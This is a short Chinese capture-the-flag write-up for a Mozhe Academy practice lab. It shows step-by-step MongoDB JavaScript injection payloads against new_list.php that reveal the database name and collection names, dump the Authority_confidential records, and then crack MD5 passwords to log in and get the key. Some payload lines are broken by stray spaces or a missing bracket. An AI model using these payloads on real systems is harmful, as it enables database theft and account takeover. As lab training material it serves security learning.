此次靶场地址为:墨者学院

⼀. 如下给出的源码...可以看到数据库查询的语句如下..构造回显测试...
new_list.php?id=1'});return ({title:'1',content:'2

⼆.成功显示“ 1” 和“ 2” 。可以在此来显示想要查询的数据。接下来开始尝试构造payload查询 当前数据库。通过回显观察到数据库为 mozhe_cms_Authority 其中tojson是可以把数据变成 json型数据,db为取当前数据库,即当前的数据库为 mozhe_cms_Authority
new_list.php?id=1'});return({title:tojson(db),content:'2

三.得到数据库名之后就可以尝试爆出数据库下的表名了且构造Payload...其中db.getColl ectionNames() 返回⼀个包含当前数据库中所有集合名称的数组。
new_list.php?id=1'});return({title:tojson(db.getCollectionNames()),conten t:'2

四.这样数据库的表名就被爆出来了,⼀共有三个表,分别为: Authority_confidentia l 、 notice 、 system_indexes 。最后我们就可以直接选取某个表爆出其中的数据了...
new_list.php?id=1'});return({title:tojson(db.Authority_confidential.find() 0]),content:'2

五.最终我们就可以获得数据了,将密码进⾏MD5解密,返回登录⻚进⾏登录,划倒⻚⾯最下 端就可以看到KEY了。如果第⼀个⽤户账号密码登录不了,我们就改变查询的索引“ find()[1]” 查询 其他的⽤户账号密码登录即可..
